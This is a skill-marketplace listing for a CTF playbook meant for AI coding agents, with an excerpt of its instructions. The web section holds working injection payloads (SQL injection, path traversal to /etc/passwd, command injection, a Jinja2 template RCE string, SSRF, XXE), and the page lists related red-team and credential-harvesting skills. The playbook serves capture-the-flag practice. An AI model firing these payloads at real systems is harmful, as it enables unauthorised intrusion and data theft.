ctf
Use when working on CTF (Capture the Flag) challenges, HackTheBox machines, TryHackMe rooms, pwn challenges, reverse engineering, cryptography puzzles…
Skill by kalpmodi
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/kalpmodi-ctf
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: finance
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/ctf
What's inside
- Skill name
ctf- Description
- Use when working on CTF (Capture the Flag) challenges, HackTheBox machines, TryHackMe rooms, pwn challenges, reverse engineering, cryptography puzzles, forensics, web exploitation CTF tasks, OSINT challenges, or steganography. Also use when the user says "CTF", "HackTheBox", "HTB", "TryHackMe", "THM", "pwn this", "reverse this binary", "solve this crypto", or "find the flag".
- License
- MIT
- Instructions
- 474 lines in SKILL.md · view on GitHub
Before installing
- Instructions call the network
Agent Skills spec issues
- body: contains an absolute path from the author's machine
Files (1)
- SKILL.md
SKILL.md (first lines)
# CTF Challenge Playbook
## Philosophy
CTF = time-limited puzzle solving. Speed + methodology beats random exploration.
Always read challenge description twice - the hint is usually there.
Try the obvious first: base64, ROT13, strings, default creds, common exploits.
Never brute force blindly - enumerate first, understand the intended path.
## Arguments
`<challenge>` - challenge name or description
`<category>` - WEB / CRYPTO / PWN / RE / FORENSICS / OSINT / STEGO / MISC / FULL
---
## Phase 1 - Triage & First Look (ALL Categories)
```bash
# Universal first steps for any CTF challenge:
# 1. Read everything in the challenge description
# Author usually hints at the vulnerability or technique needed
# 2. File identification
file challenge.*
xxd challenge | head -20 # hex dump first 20 lines
strings challenge | head -50 # printable strings
binwalk challenge # embedded files/archives
# 3. grep for flag format immediately
strings challenge | grep -i "CTF{\|FLAG{\|HTB{\|picoCTF{\|flag{"
grep -r "CTF{\|FLAG{\|HTB{" ./ 2>/dev/null
# 4. Check for metadata
exiftool challenge.*
steghide info challenge.jpg 2>/dev/null
# 5. Common quick wins (try before deeper analysis):
base64 -d <<< "<suspected_b64>"
echo "<hex>" | xxd -r -p
echo "<rot13>" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
```
---
## Phase 2 - Web Exploitation (CTF Edition)
```bash
# Web CTF quick checklist:
# 1. View page source (Ctrl+U) - look for comments, hidden fields, flag in HTML
# 2. Check robots.txt, sitemap.xml, .git/ exposure
# 3. Check cookies (base64? JWT? pickle serialization?)
# 4. Check HTTP headers (X-Flag, X-Debug, etc.)
# CTF-specific web vulnerabilities:
## SQL Injection (single-quote test):
curl "https://<target>/login?user=admin'--&pass=x"
# Union-based (if error-based):
curl "https://<target>/search?q=1' UNION SELECT 1,2,3--"
# Blind (if no output):
curl "https://<target>/search?q=1' AND SLEEP(5)--"
## LFI/Path Traversal (extremely common in CTFs):
curl "https://<target>/page?file=../../../../etc/passwd"
curl "https://<target>/page?file=....//....//etc/passwd"
curl "https://<target>/page?file=php://filter/convert.base64-encode/resource=/etc/flag"
curl "https://<target>/page?file=php://filter/read=string.rot13/resource=/etc/flag"
## Command Injection:
curl "https://<target>/ping?host=127.0.0.1;cat /flag"
curl "https://<target>/exec?cmd=id"
curl "https://<target>/ping?host=127.0.0.1%60cat+/flag%60"
## SSTI (Server-Side Template Injection):
# Test: {{7*7}}, ${7*7}, #{7*7}, *{7*7}
curl "https://<target>/greet?name={{7*7}}"
# Jinja2 RCE: {{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
## JWT attacks (decode -> modify -> resign):
python3 -c "
import base64, json
tok = '<jwt>'
h = json.loads(base64.urlsafe_b64decode(tok.split('.')[0] + '=='))
p = json.loads(base64.urlsafe_b64decode(tok.split('.')[1] + '=='))
print('Header:', json.dumps(h, indent=2))
print('Payload:', json.dumps(p, indent=2))
"
# Try alg:none (remove signature), alg confusion (RS256->HS256)
## SSRF:
curl "https://<target>/fetch?url=http://localhost:8080/flag"
curl "https://<target>/fetch?url=file:///etc/flag"
## XXE (XML processing):
curl -X POST "https://<target>/parse" -H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><!DOCTYPE x [<!ENTITY f SYSTEM "file:///flag">]><x>&f;</x>'
```
---
## Phase 3 - Cryptography
```python
# CTF crypto: identify cipher first, then solve
## Identify:
# Repeating chars, modular patterns -> substitution/Vigenere
# Only uppercase + numbers -> Base32, Bacon, Morse
# 0/1 sequences -> Binary
# Large numbers -> RSA, DH
# Hex strings -> hex decode
# = padding at end -> base64
# Consistent length chunks -> block cipher
## Quick decoders:
import base64, codecs, binascii
data = "your_encoded_data"
print("b64:", base64.b64decode(data + "==").decode(errors='replace'))From kalpmodi/akira, MIT.
More from kalpmodi/akira
- 0.552score
plan-engagement
kalpmodi
Use when starting any pentesting engagement, receiving a target domain or IP, saying "new engagement", "start a pentest", "plan this target", or beginning any…
SkillCFreshness: C★ 23Claude Code +9 - 0.491score
zerodayhunt
kalpmodi
Use when hunting for zero-days, backdoors, RCE, supply chain attacks, JWT vulnerabilities, cache poisoning, HTTP smuggling, dependency confusion, source map…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
recon
kalpmodi
Use when running reconnaissance on a pentest target, starting phase 1 of an engagement, gathering subdomains, DNS resolution, live hosts, port scan results…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
redteam
kalpmodi
Use when running APT-level red team operations, post-exploitation, lateral movement, credential harvesting, Active Directory attacks (Kerberoasting, DCSync…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
report
kalpmodi
Use when generating a pentest report, writing up findings from a completed assessment, converting triage output into a structured document, or producing an…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
triage
kalpmodi
Use when aggregating pentest findings across all phases, clustering vulnerabilities by severity, prioritizing findings for a report, or surfacing the top…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
ad-attacks
kalpmodi
Use when attacking Active Directory environments, hunting Kerberoastable accounts, AS-REP roasting, DCSync, Pass-the-Hash, Pass-the-Ticket, BloodHound path…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
compact
kalpmodi
Use when context is running long during a pentest engagement, at phase boundaries after completing a full phase, or when the user says "compact", "compress…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
exploit
kalpmodi
Use when running exploitation phase of a pentest, testing for SQL injection, XSS, SSRF, JWT confusion, deserialization, prototype pollution, HTTP smuggling…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
oauth-attacks
kalpmodi
Use when attacking OAuth 2.0 or OIDC implementations, testing for authorization code interception, PKCE bypass, open redirect chains, token leakage via…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
race-conditions
kalpmodi
Use when testing for race conditions, single-packet attacks, TOCTOU vulnerabilities, limit-bypass via concurrent requests, coupon/voucher reuse, double-spend…
SkillDFreshness: D★ 23Claude Code +9 - 0.487score
secrets
kalpmodi
Use when hunting for secrets, API keys, tokens, or credentials on a pentest target, running phase 2 of an engagement, scanning JS files for hardcoded secrets…
SkillDFreshness: D★ 23Claude Code +9
Signals
- Stars
- 23
- Forks
- 4
- Open issues
- 0
- Last commit (this folder)
- Apr 16, 2026 (6 months ago)
- Last release
- Apr 25, 2026 (6 months ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- MIT
- Repository
- github.com/kalpmodi/akira
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
More from kalpmodi
- 0.552score
plan-engagement
kalpmodi
Use when starting any pentesting engagement, receiving a target domain or IP, saying "new engagement", "start a pentest", "plan this target", or beginning any…
SkillCFreshness: C★ 23Claude Code +9 - 0.491score
oauth-attacks
kalpmodi
Use when attacking OAuth 2.0 or OIDC implementations, testing for authorization code interception, PKCE bypass, open redirect chains, token leakage via…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
ad-attacks
kalpmodi
Use when attacking Active Directory environments, hunting Kerberoastable accounts, AS-REP roasting, DCSync, Pass-the-Hash, Pass-the-Ticket, BloodHound path…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
triage
kalpmodi
Use when aggregating pentest findings across all phases, clustering vulnerabilities by severity, prioritizing findings for a report, or surfacing the top…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
compact
kalpmodi
Use when context is running long during a pentest engagement, at phase boundaries after completing a full phase, or when the user says "compact", "compress…
SkillDFreshness: D★ 23Claude Code +9 - 0.491score
exploit
kalpmodi
Use when running exploitation phase of a pentest, testing for SQL injection, XSS, SSRF, JWT confusion, deserialization, prototype pollution, HTTP smuggling…
SkillDFreshness: D★ 23Claude Code +9
Cite this page
ctf skill. Agent Mart. https://agentmart.dev/skills/kalpmodi-ctf (last updated 2026-10-24)